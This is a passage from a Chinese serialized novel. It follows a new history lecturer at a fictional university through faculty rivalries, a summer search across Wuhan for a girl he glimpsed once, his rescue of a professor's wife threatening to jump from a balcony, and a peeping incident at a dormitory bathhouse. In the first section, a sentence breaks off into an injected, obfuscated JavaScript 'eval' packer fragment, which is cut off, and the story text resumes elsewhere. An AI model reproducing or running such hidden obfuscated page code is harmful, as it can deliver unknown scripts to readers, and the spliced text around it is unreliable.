这些赞叹显然大大刺激了本就喜欢成为焦点的秦冰纶的表现欲。绣口一开,声音清亮悦耳,抑扬顿挫。她引经据典,妙语连珠,从学院悠久的历史底蕴,讲到雄厚的师资力量,再到未来宏伟的发展蓝图,字字珠玑,繁花盛开,硬是将一份学院介绍讲得如同激情澎湃的演讲。短短六分钟,艳光四射,摄人心魄。发言结束,掌声热烈。秦冰纶微微欠身致谢,嘴角噙着自信而得体的微笑,眼波扫过全场,如同巡视自己领地的女王。 孟超显然有自知之明,深知在仪表风度和语言感染力上绝非秦冰纶的对手。经常组织问题活动的他也有自己的“妙招”。他走的是截然不同的“平实”路线。没有华丽的辞藻,没有激昂的语调,而是像一个邻家大叔般,用带着地方口音的普通话,娓娓道来,将财经学院这些年引进和培养的几个青年教师如何从默默无闻到崭露头角的“小故事”串联起来。故事朴实,细节生动,充满了人情味和烟火气,展现了财经学院务实、关怀的氛围。 在顾明远等不少新人看来,孟超这看似平淡的“讲故事”,其打动人心的力量,并未输给秦冰纶的华丽表演,至少是各有千秋。 两位学院副院长发言完毕,接下来的新人发言环节。周濂有意采取了现场毛遂自荐的方式。然而,台下是一片令人尴尬的沉默。新人们初来乍到,刚刚被校长一番不怒自威的敲打,更有两位副院长八面玲珑的表演的震慑,谁也不敢贸然做这个“出头鸟”。你看我,我看你,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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吴若甫镜片后的眼睛骤然亮了起来!他身体微微前倾,脸上毫不掩饰地露出了欣赏、惊喜的神色:这不是活生生的人才引进成果么?周濂看出了吴若甫对肖志阳的欣赏,心里微微动了一下,干脆直接点将自己极力举荐的“门生”顾明远。 顾明远虽然口才不错,但最怕的就是这种庄重而又威严的官方场合。现在“恩师”已经点名,也只能在众目睽睽之下硬着头皮站起身来。他深吸一口气,腰板挺得笔直,平稳而有些干巴地开始了发言: “尊敬的各位领导,各位老师,大家好。我是顾明远,很荣幸能重新回到楚江大学这个大家庭中。”顿了顿,将脑海里临时起草的东西,用“荣幸”、“责任”、“学习”、“期待”四个关键词拼凑成了倒也中规中矩至少逻辑清晰的发言。 周濂对顾明远这番四平八稳、缺乏爆点的发言似乎不太满意。等顾明远回到座位,周濂拿起话筒,笑着补充道:“小顾老师挺谦虚的。大家可能还不知道,我们这位小顾老师,本科阶段就在咱们楚江大学锋芒初露,发表了几篇有见地的学术论文!在清北攻读硕士期间,更是成功独立申报了一项国家社科基金青年项目,他的硕士论文已经成为不少名家研究引用的热门文献。后生可畏啊!” 周濂这番话无疑是给顾明远打了广告,一时间,会议室再次响起一片惊讶和赞叹的议论声。吴若甫也忍不住伸长脖子,隔着人群将这个气质温润、腰板挺直的年轻人重新仔细打量了一番。历史学院的副院长秦冰纶嘴角勾起一抹释然的笑意,周濂副校长实际上为历史学院扳回一城,不免对穿着略显土气、气质却很温润的年轻人多了些好感。 出乎意料的是,在周濂提请吴若甫讲话的时候,吴若甫却将话筒移向了旁边的莫笑非,带头鼓掌说道:“莫教授是我们楚江大学的学术上的一面旗帜,我们请他给年轻教师寄语嘛!” 周濂见状,临时念出了莫笑非一连串令人头晕目眩的头衔: “全国历史学会常务副会长!” “俄罗斯社会科学院外籍院士!” “日本朝日大学客座教授!” “楚江大学终身教授、唯一的博士生导师!” “楚江大学学术委员会主任委员!” …… 每一个头衔都重若千钧,砸得台下这些初出茅庐的年轻人心神激荡!在这些光环面前,他们感觉自己渺小得如同尘埃!这简直是神祇降临!随即,“哗——”的一声,掌声如同海啸般席卷了整个会场!带着黑框眼镜的江小北,激动得小脸通红,双手拍得又快又响。秦冰纶有意将目光斜向一旁财经学院院长梅大镛的身上。梅大镛似乎一脸的不屑和不满,连手都懒得象征性地抬起,更不用说鼓掌了。如果有熟悉唇语者,大抵能从他蠕动的嘴唇中读出“狗屎”二字来。 。 顾明远对莫笑非的名字早就如雷贯耳。为此,大三时还专门选修莫笑非的《魏晋南北朝简史》。不过,一学期下来,觉得这位老先生讲课有些“茶壶里的水饺倒不出”的味道,中途还有意缺了几次课。即便如此,此刻的他还是未历史学院能有这样一位“大腕”颇有些与有荣焉的兴奋。 在近乎狂热的欢呼和掌声中,莫笑非缓缓站了起来。他身形清瘦,穿着一件洗得发白、却熨烫得一丝不苟的深灰色大褂,颇有几分旧时名士的风度。头发稀疏花白,向后梳拢得整整齐齐,露出宽阔而布满皱纹的额头。鼻梁上架着一副老式的金丝边眼镜,镜片后的目光沉静而深邃,仿佛能洞穿人心。他并不立刻开口,而是拿起放在手边的一把素面折扇,轻轻点了点桌面。这个简单的动作仿佛带着魔力,喧嚣的会场瞬间安静下来,落针可闻。 所有的目光都聚焦在他身上。 莫笑非习惯性地用枯瘦的手指,轻轻将鬓角几根不听话的白发往脑后梳了梳,然后微咳两声清了清嗓子。当他开口时,声音有些尖细,却带着一种奇特的穿透力:“刚才周校长介绍了很多,”他微微颔首,算是向周濂致意,随即话锋一转,语速平缓地补充道:“鄙人还是□□学位委员会历史学科评议组成员,以及……《历史研究》杂志的编委。” 会场的气氛变得有些微妙,就像宾客们已经享用完丰盛的大餐,对主人最后端上的一碟小咸菜失去了兴致。掌声有些稀拉和潦草。 莫笑非推了推眼镜,目光扫过台下年轻的面孔,眼神忽然变得有些森严起来,声音也提高了几分:“既然校长让我寄语。那我就说几句。年轻人嘛,做学问,首要的是沉下心来,耐得住寂寞!要学会坐冷板凳!做真学问!” 他顿了顿,语气带着一种居高临下的训诫意味,“欧阳修讲得好啊:‘业精于勤,荒于嬉;行成于思,毁于随。’ 书山有路勤为径,学海无涯苦作舟!这才是正道!” 他话锋陡然一转,语气中带上了明显的讥讽和不满:“可是现在啊,我们学校甚至个别学院,心思却没有用在正道上。不好好钻研业务,提升学术水平,搞什么‘模拟经商’、‘证券投资大赛’,这还像个高等学府的样子吗?这像什么话!”他没有点名,但矛头所指,会场中人人心知肚明——除了以“经世济用”为宗旨、近年来大力推行实践教学的财经学院,还能有谁呢? 议论声比之前任何一次都要激烈!既有嘲笑大腕口误的(把韩愈说成欧阳修),也有抱怨他在借机报复财经学院的。尤其梅大镛,感觉自己像被人当众狠狠抽了一记耳光!说起来,梅大镛在楚江大学也是跺跺脚震三震的人物!他和书记许继武师出同门,门生故旧遍布省厅要害部门,连校长吴若甫有时也不得不让他三分。梅大镛是出了名的“你弄皱他一张报纸,他必撕烂你整本杂志”的主儿。这些年,他和莫笑非文人相轻,“貌不合神更离”,是楚江大学人尽皆知的死对头。他怎能容忍莫笑非利用欢迎新教师这样庄重的场合,夹枪带棒、指桑骂槐,将财经学院乃至他这个院长贬得一文不值?几次激动地举手,都被历史学院出身的主持人周濂选择性地忽视,干脆起身推开椅子,在死一般的寂静和无数道目光的注视下,头也不回、脚步沉重地,径直走出了会场。 4. 暑假寻踪 入职十天,暑假便带着灼人的暑气降临。收拾完宿舍,顾明远的目光扫过窗外浓得化不开的绿荫,心头猛地一跳:险些将到楚江大学任教的消息告诉父亲顾有余了。 念头一起,他又有些纠结。别看父亲教了大半辈子书,骨子里却对这份职业缺乏半分好感。自打顾明远上初中起,父亲攒的那点“范进中举”那点知识就成了“洗脑”工具,核心永远是“学而优则仕”。研究生毕业前几个月,抠门到连买包盐都要掂量半天的父亲竟破天荒地隔三差五打来长途电话,主题是想办法分配到政府机关,然后弄个一官半职光宗耀祖。 父亲越是热切期望的,他心底的抵触就越发强烈。现在“反叛”成功。丑媳妇总要见公婆。顾明远心一横,蹬上从门房张阿姨那儿借来的除了铃铛不响哪儿都响的“飞鸽”牌自行车,飞速往附近的邮局奔去。 狭小的电话隔间里,顾明远临时决定退而求其次,先拨通二姐顾小满家的电话试水。 这通电话,直接捅了马蜂窝。 顾有余正好在二女儿家吃“杀猪宴”。姐弟俩刚聊了几句,有所察觉的顾有余浓重乡音的嗓门就从话筒里劈头盖脸地压了过来,甚至连“你一个清北毕业的跑去当个教书匠真是丢脸”的话都骂了出来,咆哮声震得顾明远耳膜嗡嗡作响,正想分辩几句,听筒里只剩下冰冷急促的“嘟嘟”忙音。 顾明远握着话筒僵在原地,一股子邪火直冲天灵盖,他有些不服气,决定回拨过去和父亲较劲一番。电话是二姐顾小满接的,说是爸爸被人拉走打麻将去了,叹了口气柔声安慰起弟弟来:“唉,你也理解理解他,农村就这风气,把当官看得比天大。放心吧,回头我好好劝劝他。其实姐觉得挺好,大学老师,体面又有学问,风吹不着雨淋不着,多好!姐支持你!” 二姐的话像一阵清风,稍稍吹散了顾明远心头的阴霾,但对父亲那蛮横无理的“判决”,他还是耿耿于怀。一股倔劲上来,他对着话筒拒绝了二姐“暑假回家”的邀请。 拒绝其实不完全是赌气,顾明远心中早就酝酿了一件大事——寻找火车站惊鸿一瞥的“民国女学生”。这些天来,那个身影在他脑海里跳跃浮沉挥之难去。尤其是那双清亮、仿佛蕴着江南烟雨的丹凤眼,一想起来便让顾明远心旌摇曳。根据她在武昌站下车以及同行那位气质儒雅中年男子这些信息,顾明远推断她极可能是回武汉度假的大学生。漫长暑假,便成了顾明远难得的“大海捞针”计划的实施窗口。 他需要一个帮手。人选是现成的——大学睡在下铺的铁哥们马骉。马骉是地道的东北大汉,性子直爽得像松花江解冻时的冰棱子。毕业时,为了追随武汉女友王菡的脚步,他硬是放弃了回老家的机会,在卓刀泉一所中学当起了孩子王。 半年前,因为忙于论文答辩,顾明远错过了马、王的婚礼。正好,入职第一个月一百八十八元的工资已经到手。顾明远决定先去弥补这份缺憾。 从洗得发白的裤兜里掏出那个装有十张崭新十元大钞的红包,顾明远这才发现红包边缘已被汗水洇染得五颜六色。 王菡一看那厚实的红包,手像被烫着似的,不由分说就往回塞:“哎呀明远!你这刚刚参加工作,花钱的地方多了去了。快拿回去!别搁我们这儿穷大方充好汉!” 顾明远对王菡的脾性早有领教:典型的武汉姑娘女伢,说话嘎嘣脆,从不拐弯抹角,像一碗刚出锅的热干面,看着粗粝,拌开了全是实诚和热乎劲儿。他故意板起脸说道:“菡子,你这是嫌少的吧?行,等下个月发饷,我再给你俩补个厚的!” 马骉在一旁嘿嘿直乐,瞅准机会,一把从顾明远手里“夺”过红包,动作快得像抢篮板:“哎呀妈呀,你们南方人就是磨叽!咱老顾是谁?亲兄弟!收下!必须收下!再推就是瞧不起咱东北银(人)儿了!” 他拍着胸脯,嗓门洪亮。 王菡气得抬脚就踹马骉屁股:“你个苕货(傻瓜)!” 她瞪圆了眼睛,将红包抢了回来又塞给顾明远。顾明远勉强收下,趁王菡不注意的工夫,又悄悄将红包塞进床铺下面。为了转移“战场”,他给夫妻二人抛出了自己的“暑假寻人”计划。 当他眼神灼灼,带着孤注一掷的兴奋描述完火车站奇遇和“大海捞针”的宏伟计划后,马骉和王菡如同被施了定身法,两人大眼瞪小眼,嘴巴张得能塞进个鸡蛋,半天没有合拢。好半晌,王菡才眨巴着眼睛,难以置信地问:“你…你这不是逗我俩玩儿吧?你连那姑娘姓甚名谁、家住何方、是不是武汉人都不知道,就这么满武汉城瞎转悠?大海捞针也没你这么捞的啊!这也太…太草率了吧?” 顾明远不以为然,胸有成竹有条有理地分析起来。似乎为了增加说服力,他特意提高了声调,“你们没看昨天的新闻吗?有个大学生花两块买彩票中了五十万呢!这世界上的事儿,不怕一万,就怕万一!万一让找到了呢?” 一向大大咧咧的马骉这次旗帜鲜明地站在了老婆这边,他挠着板寸头,一脸看傻子的表情:“老顾!你是不是让那些个琼瑶剧给灌迷糊了?你以前可是咱系出了名的严谨派、逻辑怪!不带这么上头的啊!这事儿听着咋那么悬乎呢?忒不靠谱了吧!” 顾明远使出杀手锏——激将法,眼神“幽怨”地盯着马骉:“行啊骉子,关键时刻见人心。合着当年上下铺的交情,抵不过陪兄弟跑跑腿?” 马骉像被踩了尾巴的猫,瞬间炸毛,蒲扇大的巴掌把胸脯拍得山响:“哎哟我去!顾明远你又来这套!成成成!陪!必须陪!刀山火海都陪你闯!不就是找人嘛!就当锻炼身体了!说吧,啥时候开整?” 顾明远满意地笑了,转头看向王菡:“菡子,你放人不?” 王菡无奈地翻了个白眼,“哼”了一声:“放放放!放他跟你去瞎折腾好吧!省得在家烦我!” 顿了一下,她又忍不住叮嘱:“不过你俩给我听好了,别真跟无头苍蝇似的乱撞!重点就放在高校和科研院所家属区!这还靠点谱!” 顾明远告辞后,王菡立刻从床铺板下掏出那个湿漉漉的红包,一把塞给马骉:“明远刚工作,家又是农村的,处处要钱。这几天你俩出去,吃饭喝水什么的,别让他掏!听见没?” 马骉心头一热,搂过王菡正想亲热,王菡一巴掌拍在他的厚背上:“信了你的邪(鬼话)!少搁这儿拍马屁!碗洗了冇?还不赶紧克(去)!莫跟老子在这里耍花腔(油嘴滑舌)!” 第二天,天刚蒙蒙亮。趁着暑气还未完全蒸腾起来,顾明远和马骉各自骑着自行车在楚江大学门口汇合。顾明远手里攥着一张武汉地图,上面用红蓝铅笔圈出了几十个高校和研究所的位置,密密麻麻,看得马骉头皮发麻。为了提振马骉的士气,顾明远特意在巷口早餐摊为马骉准备了豪华套餐:一碗淋满芝麻酱、萝卜丁、葱花的热干面,一个炸得金黄酥脆的糯米鸡,再加一碗冰镇米酒汤圆。正当顾明远掏钱时,马骉眼疾手快,早已将一张簇新的十元大钞拍在了油腻腻的案板上,说这是媳妇的“最高指示”。 吃饱喝足,两人跨上坐骑。顾明远领头,车蹬得飞快,仿佛目标就在下一个转角。马骉块头大,蹬着那辆小一号的旧车跟在后面,呼哧呼哧像一头拉犁的老牛。 烈日当空,蝉鸣如沸,热浪裹挟着灰尘扑面而来。刚在第一所大学宿舍区、图书馆周边转悠了几圈后,马骉身上的海魂衫已彻底湿透,豆大的汗珠顺着下巴颏往下淌,喘气声粗得像破风箱。顾明远虽然汗流浃背,但眼神依旧闪着执拗的光,不停地给马骉打气。看着兄弟那近乎偏执的眼神,马骉认命地一挥手:“走!舍命陪君子!” 一天下来,两人像梳篦子一样把四所大学的角角落落“梳”了一遍。结果嘛,自然一无所获。夕阳西下,把两人的影子拉得老长,疲惫地拖在滚烫的地面上。顾明远望着天边绚烂的晚霞,眼神有些空茫,那抹期待的光黯淡了不少。马骉累得话都不想说,只是有气无力地挥挥手,各自蹬车回家,背影写满了“悲壮”。 第二天定下的是四家目标。第二站来到了省社科院。爬上一个又长又陡、能把人烤化的水泥坡,一个简陋的凉棚里一位摇着蒲扇的老婆婆守着一个小小的冰糕摊。 马骉像见了救星,就势将自行车往枫树干上一靠,一屁股瘫坐在被太阳晒得能烙饼的路沿石上,扯着冒烟的嗓子嚎叫:“老顾!快!冰糕!” 顾明远也早已是强弩之末,他拖着步子走到冰柜前,在老婆婆慈祥的目光下,豪气地买了四支冰糕。冒着丝丝寒气的冰糕一入口,那刺骨的凉意瞬间从喉咙蔓延到四肢,两人满足地喟叹仿佛干裂的土地迎来了甘霖。 冰糕下肚,马骉总算缓过点劲,苦口婆心地劝道:“老顾,听哥一句劝,真别这么瞎撞了!我们家菡子说得在理啊,你身边那些女老师、女学生,知根知底的,怎么也比你这镜花水月的真实呀。就凭你这条件,要模样有模样,要学问有学问,追个姑娘那还不是手到擒来?何必受这份鸟罪?” 顾明远瞪了他一眼,眼神带着不容置疑的坚定:“你小子又动摇军心!是谁整天把‘为兄弟两肋插刀’挂嘴边的?现在刀还没插呢,就怂了?” 他顿了顿,精准地戳向马骉的软肋,“当初菡子家里反对,是谁大雪天堵人家门口学那‘程门立雪’,冻得跟冰棍似的,最后才抱得美人归的?那会儿你怎么不说自己傻?” 马骉被噎得直翻白眼,知道在“情痴”面前讲道理纯属对牛弹琴,只好举手投降:“得得得!你顾明远就是墨索里尼,总是有理!行!陪!我豁出去了!但话撂这儿,你这方法,成功率比中彩票还低!” 马骉的话像颗小石子投入顾明远心湖,泛起一丝苦涩的涟漪。他目光幽幽地望着地面蒸腾的热气,喃喃自语,像是在说服自己,也像是在说服命运:“我何尝不知道…可万一呢?万一运气来了呢?” 看着好朋友脸上那掩不住的落寞和疲惫,马骉心里有些不落忍,猛地站起身,拍了拍屁股上的灰,脸上堆起东北人特有的热情笑容和老婆婆搭起讪来:“大娘!跟您打听个事儿呗?” 或许是四支冰糕起了作用,老婆婆态度格外热情。马骉连比划带说,描述了顾明远心中那个“民国女学生”的独特特征(辫子和丹凤眼)以及她身边那个“像教授”的中年男人。老婆婆眯着眼听着,手里的蒲扇有一下没一下地摇着。突然,眼睛一亮:“哟!听你这么一说,跟前面13栋的刘教授家闺女还真有点像!那丫头也爱梳个大辫子,在外地上大学呢!” 老婆婆站起身走到路沿边,用蒲扇指着不远处一排高大樟树掩映后的一栋青砖楼:“喏,就那栋,看见没?墙上写着‘13’那个!” 顾明远瞬间像打了鸡血,疲惫一扫而空,二话不说,人已经像离弦的箭一样冲了出去。马骉赶紧灌了一口汽水,奋力追了上去。 越过一道长长的下坡,拐过一个急弯,那栋标着醒目的“13”字样的青砖楼赫然在望。楼旁一丛茂密的凤尾竹在热风中轻轻摇曳,投下斑驳的凉影。顾明远猛地捏闸,把车停在竹影下,心跳得几乎要撞出胸膛。他屏住呼吸,小心翼翼地拨开竹叶,目光急切地向前方门洞口搜寻。 刹那间,他的眼睛被点亮了:不远处门洞 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女孩站起身,警惕地看着眼前这个高大魁梧、满头大汗、笑容有点奇怪的陌生人,下意识地用手理了理被风吹乱的鬓发,反问道:“你是谁?找我爸有事?” 马骉谎话张口就来:“对对!我们和刘教授约好了今天下午见面聊点学术问题。” 他故意加重了“学术”二字,显得自己很“内行”。 女孩年轻涉世未深,脱口而出:“可我爸他……出差了呀。” 就在马骉和女孩对话的当口,顾明远已经快步跟了过来,目光如同显微镜般上上下下地将女孩扫了几遍。心像坐过山车一样,瞬间从沸腾的顶点跌落冰冷的谷底。 眼前的女孩,辫子和背影确实神似,但正面这张圆润的苹果脸和因为近视有些迷瞪的眼睛和魂牵梦萦的那张拥有精致鹅蛋脸和丹凤眼的“民国女学生”简直是天壤之别。 巨大的失望像冰冷的潮水瞬间淹没了顾明远。看见马骉谈兴未尽,顾明远生怕露馅,找了个理由拽着马骉飞快地离去。 瞥见顾明远那神色黯然的表情,马骉立刻明白了过来,东北人爱管闲事的劲儿又上来了,压低声音附在顾明远耳边说道:“老顾,刚才这姑娘也不错啊!盘靓条顺的!要不回头去认识认识?” “扯淡!”顾明远用力蹦出两个字来,拖着他赶往下一站。 出了社科院大门,已近正午。毒辣的太阳炙烤着大地,空气仿佛凝固了。马骉看看垂头丧气的顾明远,听着自己肚子里咕咕的叫声,大手一挥:“走,我们化悲愤为食欲,先去中华路江滩吃烤鱼去!” 看着马骉晒得通红的脸和汗湿的后背,顾明远摸摸口袋里剩下的几张票子,咬咬牙答应了。 两人在烤鱼店找了个临江的窗口位置坐下。喷香的烤鱼端上来,配着冰镇的啤酒。马骉甩开腮帮子,吃得酣畅淋漓。顾明远却食不知味,筷子在碗里拨弄着,眼神不时飘向窗外:长江奔流不息。雄伟的长江大桥如钢铁巨龙横跨两岸,龟山电视塔巍然矗立,鹦鹉洲头绿意葱茏,古琴台的飞檐斗角在江边勾勒出优美的剪影……这壮丽的江城画卷,此刻在顾明远眼中却有些模糊。恍惚间,他仿佛看见那“民国女学生”正衣袂飘飘凌着江波而来。心中不免涌起一丝虚幻的欢喜。 “老顾!发啥呆呢?喝酒啊!” 马骉一声粗犷的吆喝,将顾明远拉回现实。眼前只有江面上往来穿梭、冒着黑烟的驳船,发出沉闷的汽笛声。一股“过尽千帆皆不是,斜晖脉脉水悠悠”的怅惘,夹杂着寻而不得的焦灼,像江水般无声地漫上心头。 接下来的五天,顾明远和马骉的“寻人长征”进入了更加艰苦卓绝的阶段。他们像不知疲倦的工蜂,穿梭在武汉三镇各大高校的宿舍区、图书馆外、林荫道旁,两人的皮肤晒得黑红发亮,自行车胎都磨薄了一层。顾明远随身带着的小本子上,记满了各种“疑似线索”和最终被划掉的名字、地址。每一次满怀希望的出发,最终都化为失望的叹息。 体力和精神的双重消耗,让两人都到了崩溃的边缘。王菡看着自家男人累脱了形的样子,心疼不已,转而在电话里对顾明远下了最后通牒:“明远,再这么下去,人没找到,你俩先得中暑进医院。你赶紧给我消停几天吧。” 在王菡的反复劝说下,顾明远只好暂时鸣金收兵。他心中那团炽热的火焰,在持续的失望中暂时被压了下去。 送顾明远回楚江大学的路上,马骉忽然拍起了脑门:“差点忘了!昨天老四、柱子他们几个在武汉的提出给你这位全班唯一的大学老师接风。咋样?就定在这个周末?” 顾明远正沉浸在寻人无果的低落情绪里,对接风宴提不起丝毫兴趣,随口问道:“都有谁啊?” “就咱班那几个呗,老四、柱子、眼镜刘…哦,还有何荣坤。” 马骉掰着手指数着。 “何荣坤”三个字一入耳,顾明远原本就兴致缺缺的脸上更是蒙了一层霜,便找了个借口拒绝了。 马骉诡秘地笑了起来:“咋?你是不想跟‘大背头’何荣坤打照面儿吧?” “大背头”是大学时同学们给何荣坤起的外号,源于他那标志性的、永远梳得油光水滑、一丝不苟的后梳发型。说起来,何荣坤也是两人四年同寝室的室友。此人有两个毛病,喜欢当官和打小报告,顾明远对他一直敬而远之,保持着冷淡的距离。 顾明远不想让马骉觉得自己小气,只好找了个看起来更真实的借口,他现在满脑子飘荡的都是“民国女学生”的身影,哪还愿意和何荣坤这样的同学一起故作情深似海呢。 5. 风波迭起 新学期伊始,顾明远这些新进教师的职业生涯就算正式开始了。 历史学院今年报到了四位新人。因为院长病休,学校指定新提拔的副院长秦冰纶代行职责。为了表示郑重和正式,不顾副院长孙启亮的反对,秦冰纶坚持要为新人们举行一个欢迎仪式,欢迎当然是真,但借机敲打也是题中之义。为此,秦冰纶专门邀请了大腕莫笑非和另外一位学院资深教授为新人们“指点迷津”。 莫笑非挥舞着折扇,刚目光犀利疾言厉色开了个头,院办主任沈菊英用力推开了会议室的门,神情焦急在秦冰纶耳边低语了几句,秦冰纶大惊失色,扯了扯莫笑非的袖子:“莫教授,您家爱人正在楼上闹事呐。走吧,赶紧看看去。” 历史学院楼前的小广场上已经聚集了不少人。人们纷纷举头上望。只见六楼莫笑非“博导工作室”的阳台上,一个穿着发白碎花衣裤、头发凌乱的中年女人,半身悬在栏杆上声嘶力竭哭喊:“他在外面偷人。不活了!没法活了!让我死了干净……。” 那人正是莫妻刘秀娥——一个被生活揉搓得有些神经质失了形状的乡下妇人。 吴若甫闻讯感到了现场。几个保卫手忙脚乱铺着薄薄的海绵垫,动作笨拙徒劳。更多的人像一群等待开饭的鹅,伸长脖子,脸上混杂着担忧与一种隐秘的、看戏不怕台高的兴奋,脑袋无声地攒动着。 忽然,人群中有人发了一声喊:“光哭顶个屁用呀!有本事跳啊!这磨磨唧唧吓唬不了你家老莫的。” 众人侧目看时,“告状王”石凤芝不知什么时候挤进了人群,她叉着腰,脸上带着生气和亢奋,一旁的“跟班”贺建瑰咧着嘴怪笑。 进不了门的莫笑非急慌慌地来到楼下求援。梅大镛挨到他的身旁,脸上满是悲天悯人的表情,轻轻拍了一下莫笑非的肩膀,眼睛却扫向众人,拔高声音说道:“哎呀!老莫!那是你老婆!人命关天!你下来干嘛,赶紧上去劝啊!真要跳下来,你这脸面,还有历史学院的脸面,往哪搁?!”说罢,又自叹了口气,像是自言自语:“秀娥妹子也是……老莫有千般不是万般错,关起门是家事嘛!何必闹到这个份上,家丑不可外扬啊!”句句戳心,字字诛心。 莫笑非气得浑身发抖,稀疏白发黏在额上,象征“名士”的灰大褂被汗水浸透贴在背上,狼狈不堪,除了反复低吼“疯婆子!疯婆子”外,不停地讲目光投向副院长秦冰纶。 第一次遇到这种局面的又惊又怒,不敢惹石凤芝,便将怒火全撒向梅大镛:“梅院长,现在人命关天,您在这儿煽风点火,安的什么心嘛?” 这一幕被吴若甫看在眼里,脸色铁青说了句“成何体统”,让冯伟和保卫处长刘丰赶紧疏散人群,特别交代尽快将石凤芝他们带离现场。梅大镛见状,钻出人群消失不见了。 楼下的准备工作就绪后,吴若甫让刘丰、秦冰纶带人去楼上开展工作。秦冰纶用手指点了顾明远、林书锦他们一下。一群人蜂拥着赶往楼上。 刘秀娥已经从里面将门反锁。有人提出将门强行撞开,刘丰担心激怒刘秀娥,当场予以否决。 听见有人从外面敲门,刘秀娥的情绪更加激动,声音尖利而响亮“历史学院没一个好东西,对莫笑非搞皮绊不管不问,这是要逼死我的呀……”。 楼下莫笑非如被人当众扒光,死灰一片惨白。在众人的嗤笑声中,吴若甫让人将吴若甫“架”上楼去。 莫笑非在办公室门口捶着门大声央求道:“秀娥…你开开门好吧…求你了…。” 任他怎样呼唤,刘秀娥根本就不理睬。 秦冰纶无计可施,只将目光来回地在顾明远、林书锦这几个新人身上逡巡。 此时的顾明远被这混乱不堪的局面惊得头皮发麻,心中本能地厌烦这种喧嚣撕扯的场面和当众抖落家丑的做法。他本想立刻抽身远离是非,但碍于秦冰纶,便不敢轻易离开。想到这毕竟与自己学院有关,顾明远法子内心祈祷千万不能真出事。 在众人七嘴八舌不知所措的时候,在走廊来回踱步的顾明远看见莫笑非办公室隔壁的房门并未上锁,用力一推,房门梭动了一下,再一使劲,门被打开了一个身位,顾明远探头一看,里面是一个杂物间,缩着身子挤进去时,眼睛表面一亮:房间的窗户外是一个半米见方的空调台子,那里可以看见刘秀娥跨在栏杆上的背影。 顾明远赶紧退了出来,向刘丰、秦冰纶汇报自己的想法后,秦冰纶吓得赶紧摇头,说这样风险太大。刘丰进去勘察了一番后,觉得事已至此只能冒险一试。当询问谁敢冒险时,看见林书锦本能后托了两步,顾明远不知哪里来的勇气,轻轻举起了右手。 大家蹑手蹑脚走进了杂物间。因为长期打篮球的原因,身手敏捷的顾明远很快翻窗蹬上了空调台。秦冰纶吓得双手捂住了嘴巴。刘丰不知从哪里找到了一根绳子,三下两下捆住了顾明远的腰上。此时刘秀娥注意力一直集中在楼下围观的人群,不停地哭诉莫笑非的“罪状”,压根底没有注意到侧后方有人已经离她只有咫尺之遥的距离。 顾明远心跳如鼓。回头看时,目光正与焦急张望的秦冰纶猛地撞在一起。此时的秦冰纶杏眼瞬间瞪得溜圆,嫣红的唇惊愕地微张着,仿佛被施了定身咒,吓得一个字也吐不出来。 箭在弦上不得不发。顾明远此时也干不了许多,整个人如同离弦之箭,蹬起右脚、轻舒猿臂,纵身抓住了刘秀娥的腰带。还没等刘秀娥反应过来,顾明远已经飞纵到阳台上,不顾一切将刘秀娥抱摔了下来……。 楼下一片惊呼。刘丰赶紧让一名保安越过阳台打开了办公室的房门。 吴若甫带人气喘吁吁冲上楼时,惊魂未定的秦冰纶一把拽过顾明远:“吴校长,今天多亏了顾明远老师,要不是他寻出的机会,后果不堪设想啊。” 吴若甫上下打量着顾明远,连连点头:“好!好哇!英雄少年嘛。顾明远,我记住了!” 同是清北毕业的冯伟趁机在校长面前替师弟美言,弄得顾明远窘得满脸通红,恨不能找挑地缝钻了进去。为了引起校长的关注,林书锦赶紧趋前一步说道:“咱们秦院长刚才指挥若定,才确保没出乱子。” 他的话倒替顾明远解了围:“林老师说得对,全靠大家一起努力。” 吴若甫看了看仍在一旁喋喋不休的莫笑非夫妇,望着秦冰纶说道:“你这个副院长要处理好这件事呢。” 秦冰纶赶紧喏喏着点头答应。 白天的惊心动魄成了筒子楼年轻人们最好的谈资。三楼走 廊挤满了人,大家津津有味地复盘着下午的“盛况”。历史学院的“死对头”财经学院的几个年轻人似乎劲头最大。 “啧啧,莫大腕那家丑闹的,什么泰山北斗,后院起火才叫壮观!”钟德君咂着嘴,满脸玩味。 “就是!”卞同峰立刻接茬,阴阳怪气,“研究历史的嘛,上下五千年,啥‘花边’没见过?境界自然‘高’!今天这出‘跳楼秀’,够进校史馆了吧?” 财经学院院办的胡莎莎嗑着瓜子,噗噗吐掉瓜子壳后撇了撇嘴:“你们才来不知道吧?咱们楚江大学如果要论起花边新闻,历史学院它认第二谁敢认第一?这才哪到哪?以后有的是开眼的机会。” …… 顾明远没少从钟德君那里听说胡莎莎和孟超的趣闻,忍不住反唇相讥道:“胡老师对‘花边’如此感兴趣,莫非是研究‘花边’的专家?” 一句话噎得胡莎莎嘴里的瓜子壳险些落进了喉管,气得“哼”了一声,“噔噔”地上楼了去。 卞同峰有些替胡莎莎抱不平:“老顾你也太小心眼了。胡老师也就随口一说而已嘛,你何必当真。” 钟德君一直对卞同峰有些看不顺眼,转过头来为顾明远撑腰:“也是,聊老莫就聊老莫嘛,干嘛扯上人家历史学院,老顾也是护主心切而已。” 一旁的蒋嘉琦嗤笑了一声:“你们呀,都是心里有鬼。你管人家老莫呢,他这么大的腕,有点花边新闻算什么?我劝你们呀,都是咸吃萝卜淡操心。看看你们住的这‘土谷祠’,倒被你们忘在了一边。” 蒋嘉琦的一番话立刻引起了大家的共鸣,抱怨声浪开始一浪高过一浪。 正在七嘴八舌地闹着,忽然楼下传来一声尖利的叫声。有人人测出声音来自一楼的公共洗浴间的方向,便一窝蜂似地往楼下奔去。 声音的确是从一楼公共洗浴间传来的。刚刚晚饭后,江小北与室友周雨霏结伴去往一楼洗浴。周雨霏刚刚褪去衣服,便尖声叫了起来。江小北和两个胆大的女生裹着浴巾跑出来一问,周雨霏颤栗指向窗棂上的一个破洞说道:“刚才……有人偷看!”江小北裹浴巾靠近一看,也忍不住尖叫起来:“天哪!窗户上怎么有这么大的破洞啊!” 洗浴间瞬间炸锅!几个女生手忙脚乱套上衣服,一边哭着一边从洗衣间里跑了出来,正好遇上前来扛究竟的年轻人们。 整个筒子楼瞬间像火星撞上了地球,气氛炽烈得炸裂。哭喊声、尖叫声如同灼热的熔岩喷涌而出。混乱如同无形的冲击波四处扩散。 正在家里吃晚饭的吴若甫丢下碗筷赶往现场。 